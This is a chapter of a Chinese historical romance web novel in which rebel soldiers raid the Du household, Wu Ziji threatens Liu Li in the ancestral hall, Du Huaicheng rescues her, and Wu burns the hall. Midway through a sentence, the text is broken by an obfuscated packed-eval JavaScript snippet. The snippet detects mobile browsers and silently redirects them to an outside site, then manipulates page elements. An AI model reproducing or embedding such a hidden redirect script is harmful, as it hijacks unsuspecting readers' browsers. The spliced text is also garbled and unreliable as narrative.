军情紧张，白水城里百姓人人自危。往年夷人偶有小股滋扰，都被迅速镇压下来，并未闹起太大风浪，今次许是得悉大庥内乱，加上暴雪天灾，这才使得各夷部落下定决心入关趁火打劫。 杜府得到风声立刻屯了物资，西岭山也悄悄捎了东西来。依旧是陈二哥带来的消息，大奶奶和修齐一切安好，请刘梨放心。府里与外界联系全靠陈二哥，起初还通讯良好，后来战事吃紧，慢慢陈二哥也进不来城，府里与外边彻底失了联系。 白水城似乎静默下来…… 直到这一日。 沉重的大门被撞得“砰砰”响，粗壮的门闩似乎也抵不住外面的猛烈撞击。茴儿瞧留守的家丁们吃力地抵住门，眼看守不住，心里涌起巨大的恐惧，转身跑回内院。 府里的女人们聚在后堂，两个年老的婆子面北而跪，双手合十不住地祈祷。 常妈看茴儿风风火火地跑来，不再似平时那般骂她莽撞，焦急问道：“怎么样了？外面情形如何？” 茴儿喘着气，断断续续道：“那几个家丁怕是守不住，眼看就要冲进来了！” 女人们惊恐万分。常妈摊开手，“这是怎么回事？好端端的往咱们府里闯什么，难不成夷人进城了？” “我从门缝里看了，来人统一服制，不是夷人，可也不是边军。” 刘梨还算冷静，“茴儿，你和妈妈们去角门看看，若是没人，咱们想法子出去。”原以为府里比外面安全，瞧这情形怕是不成，不如搏一搏。 大家商定好了，一起往角门跑。有个婆子想回房拿包裹，被常妈一通臭骂，“什么时候了，命要紧还是钱要紧？” “不行，那是老婆子我大半辈子的积蓄，不能丢了。”遂不顾旁人劝阻跑了回去。常妈恨得直跺脚，催余人赶紧往角门去。 后巷静悄悄的，众人托着茴儿趴在墙头。“茴儿，看清楚没有，外头情形到底如何？” 茴儿示意她们下沉，整个人倚着墙皮滑坐在地，什么也问不出来。常妈性急，不管不顾打开角门，看清院外情形大惊一声坐倒不起。只见后巷内森罗林立一队兵士，手上剑戟森然，冷冽注视院里一众妇人，宛如盯着砧板上的鱼肉。 前头忽然传来一声凄厉惨叫，是刚才回身取包裹的婆子，尖厉的一声后再没了动静。大家心知情况不妙，茴儿捂着嘴忍不住低低呜咽。 甲胄相击声传来，又一队士兵从院里寻来，当先的两位银甲上溅了新鲜的血，环视一周，“哪位是府上大奶奶？” 众人面面相觑，俱低下头去。 “我是。”刘梨强作镇定走到两人面前，仿佛知道一切将在今日了结，心里有了准备。“两位将官前头带路。”二人似没料到她这么平静，做了恭请的姿势。 常妈拽住她，“刘丫头…”开口却不知道再说什么。刘梨安抚地拍拍她，掰开常妈手，转身离去。 这队兵士拥着她，径直将刘梨带到杜府的祠堂。 供台上牌位紧密罗列，散发出幽冷的气息，那一个个故去的先人，像一排排冷峻的山，睥睨着台下之人。 “哼，一群死鬼。”他恨极这些高高在上的“人”，哪怕他们早没了生气，依旧让他憎恨，他想起自己家族的倾覆，想起少时的痛苦岁月，想起多年的隐忍……今日以后一切便有希望扭转。 “是你？” 他转过身，女子背光而立，袅袅婷婷，春阳在她身边勾勒出一圈暖光，还是当初朝颜花的聘婷模样。 不，她不是朝颜那样柔弱的，她身上自有股韧劲，像破土而出的春笋向阳而生，负势竞上，互相轩邈。 伍子骥突然笑了，停不下来似的，“我就知道、我就知道…”他弯下腰，笑得眼角沁出了眼泪。 刘梨忽然生出一丝悲凉，她对伍子骥没有了怨恨，没有。真正的失望，过往的爱恋和酸楚都会消失，连怜悯和憎恨都不会剩下。 她的眼神冷冷的，一下撞进伍子骥的眼中。意识到自己的狼狈，他敛了心神，“我就知道你会舍身而出，你这女人怎么那么傻，非得把自己换进这囚笼里？” “先生此言何意？刘梨不懂。” 他嗤笑了一声，“杜家不行了，高祖御赐的宅子又怎样？”他指指供台上的牌位，“你们这些死木头，就眼睁睁看着我如何抄没杜家，如何毁了你们引以为傲的基业！” “伍子骥！你疯了！”刘梨怒道。 他反而欢喜起来，“梨儿，你终于肯喊我名字了？刚才冷冰冰的，我还以为你不想认我呢。” “杜家已是一座空宅，你何苦紧逼不放？” “那你呢？杜家已是一座空宅，你又何苦在此守候？” 刘梨语塞，不过沉思片刻，抬头坦然道：“因为我与淮琤心心相印，我答应过在家里等他。” “心心相印？”伍子骥嘴里反复咀嚼这四个字，好像从未听过一般。 “是，心心相印，‘以心□□，心心不异’。我与他心意相通，彼此信任，没有隐瞒和欺骗。” 也许是“欺骗”两字激怒了伍子骥，他的指骨咯哒作响，压抑着情绪回道：“若真是心意相通，杜淮琤可知你现在被我困在此处？他若是真怜惜你，怎会将你一人安置于此？”他靠近刘梨，鼻尖嗅到熟悉的香，稍微软了声道：“杜淮琤一介商贾，利欲为先，梨儿，杜淮琤只是利用你，偏你傻信任他。”他忍不住抚上刘梨双肩，“只有我对你是真心的。” 刘梨被蛰了一般，甩开他的钳制，冷笑道：“你的真心？你在沈小姐面前也是这么说的吗？” 他索性不再避讳，“沈丽娘是我青云路上的垫脚石，有沈家助力，伍家才复兴有望，我伍子骥才有机会建一番功业。” “那便祝伍先生早登青云，直上万里。” “借你吉言。不过在那之前，还需要杜家助我一臂之力。”他转身拈起一炷香，就着长明灯点燃，插入香炉。 “你们要杜家对做什么？” “不是我们对杜家做什么，是杜家审时度势，‘自愿’献出家财资助宁王起事。”说完对着堂外兵士道：“动手吧。” 那些兵士得了令，迅速四散开去，不多时杜家各处院内便嘈杂一片，有玉瓷角牙碎裂声，还有女人的哭喊声。 “伍子骥，你们就是强盗！” 伍子骥双眼锁住刘梨，一步步靠近她，像条靛青的蛇，慢慢游到刘梨身边，吐着信子低声道：“梨儿，你知道吗？我嫉妒死杜淮琤了。明明是我先遇到你，为什么你要与他‘心心相印’，处处维护他？”不顾刘梨挣扎，双手把她箍在怀里，“既然你认定我是强盗，我也不再装什么伪君子，咱们继续上次在金陵未完的好事，真正做一对夫妻。” 难堪的回忆像冰水浸上身，刘梨身体不住地颤栗，伍子骥的手抚了上来，她张口便咬，却被他一把攫住，“你以为一样的亏我还会吃第二次？” 眼泪漫过眼眶，刘梨却是笑的。伍子骥手指微松，“你笑什么？” “我笑你伍子骥可悲。笑你将复兴家族的期望寄托在女人的裙带上；笑你有眼无珠，跟错主子。你，永远也比不上杜淮琤。” 伍子骥红了眼，刘梨每一句都踩在他的死穴，手上使了十成的力，将她推向供桌。刘梨失去平衡撞在桌角，疼得直流冷汗，桌上的牌位也摔倒一片。 伍子骥这番拉扯鬓发散开，哪还有平日里谦和君子的模样？“竟不知梨儿这般牙尖嘴利，待我拔了你的牙，看你还咬不咬人。”说完就向她扑去。 斜刺里冲来一人将他撞开，扶起刘梨查看她伤情。 刘梨看清来人，几月未见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16195575|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，累积的委屈化作更多泪儿无声涌出，出口第一句却是“你头发长了。” 杜淮琤咧开嘴，古铜的脸庞映出一口白牙，刘梨擦了擦眼泪：“还黑了。” 杜淮琤心疼地搀起她，确认刘梨无大碍，才转身对子骥道：“你要的是我，何必为难旁人？” 伍子骥盯着相偎的二人，只觉刺眼，“杜二爷终于肯出现了？今天不是搞这出，你还要躲到什么时候？” 杜淮琤半月前就已潜回白水，一直未现身。今日宁王府兵大张旗鼓上门抄家，逼得他不得不现身。即使知道是陷阱，担心刘梨安危，他必须现身。 “你我之间，也该有个了结了。” 伍子骥不紧不慢地整理衣襟，“往日里总是你坐着，我站着，你说着，我听着。论才学、品貌我伍子骥哪样比你差？只不过因着家世，偏被你这个纨绔压着不得翻身。今日过后，便是我伍家起复之时，我要你看着，我是怎么把‘你的’，一步步变成‘我的’！” 杜淮琤将刘梨护在身后，“我杜家两代人，自认从未亏待过伍子骥，只因你自己的心结，便要将我杜氏抄家灭族，这般损阴德起复，你伍家当真立得起吗？伍氏因厌祷案受波及，原也是一门忠烈，出现你这样阴狠歹毒、认人不清的子孙，百年后你有什么面目去见先人？” “哈哈哈！”伍子骥仰头大笑，“我是信了梨儿方才所说‘心心相印’了，你们二人果然心意相通，说出的话如出一辙。是，我是阴毒小人，你杜淮琤清高，识人如炬，你是杜氏满门的骄傲，既如此，下去做你的孝子贤孙吧！”说完高声唤府兵进来拿人，喊了几声却不见动静。 伍子骥有些微慌神，“来人！来人！都死哪去了？！” 刘梨不解地看向杜淮琤，他安抚地点点头。“宁王仓促起兵，自以为胜券在握，却不知一切动向尽在圣上掌控中。以你的聪慧，应该看得出宁王不是明主，他仓促命你来白水抄没杜家，是知道已呈败势，不过困兽犹斗罢了。” 祠堂前围来两队士兵，精兵铁甲，面容冷峻，是战场杀伐历练出来的气质。 “圣上已立皇长孙为储，我此次回来是奉皇长孙暗谕，着令边护使诛杀宁党余孽。”杜淮琤望向伍子骥，仿佛在看一个死人。“你带来的人已经伏诛，伍子骥，束手就擒吧。” 伍子骥认出堂前的边军服制，明白大势已去。他倒没有颓唐，站直身，对杜淮琤道：“不要用这种怜悯的眼神看我，我不需要。” 电光火石间，从袖中抽出一柄匕首，冲杜淮琤刺去。 “不要！”刘梨惊叫，却被杜淮琤紧紧护在身后。 一道破空声划过，箭羽轻颤，一箭正中伍子骥，射穿了持刀的手臂，血很快涌出，浸染了他的青袍，呈现出暗沉的紫。 “叮”，匕首坠地，一声清脆的金声。 程锏放下弓，冷冷凝视伍子骥趔趄后退。 他倚靠住供桌，不可置信地看手臂上穿骨而过的羽箭。“哈，什么百年世家，千秋基业，都是世人的贪念而已。青史几行名姓，北邙无数荒丘。皆是空！皆是空！”鲜血滴染青砖，祠堂幽深，昏暗的灯火影影绰绰，照得伍子骥孤魂一般。 刘梨忽然生出不好的预感。“伍子骥……” 叫了几声他才缓缓抬起头，眼中一片迷茫，嘴里还在喃喃念叨：“皆是空、皆是空。” 忽然，伍子骥鼓起眼，衣袖翻飞，将近前的长明灯掀翻！长明灯昼夜通明，注满了灯油。燃烧的灯油漫开，迅速点燃了牌位、帷幔、墙上的木雕……又点着了更多的灯火。伴着滚滚浓烟，火势瞬间升腾，像一头从地府逃脱的猛兽贪婪舔舐人间。 杜淮琤护着刘梨冲出堂外，火势凶猛，众人来不及救火，眼睁睁看着祠堂被大火吞噬。 刘梨眼泪几乎被灼干，咬住手背发不出声音。杜淮琤紧紧搂着她，既是护着她，也是将她视作自己的依靠。 大火堙灭了象征家族煊赫的祠堂，从小被教养以杜氏宗族为傲，一言一行不得行差踏错。门庭赫奕，世代显贵，这样的盛名，是伍子骥的执念，何尝不是他杜淮琤的枷锁呢？ 现在，他们都解脱了。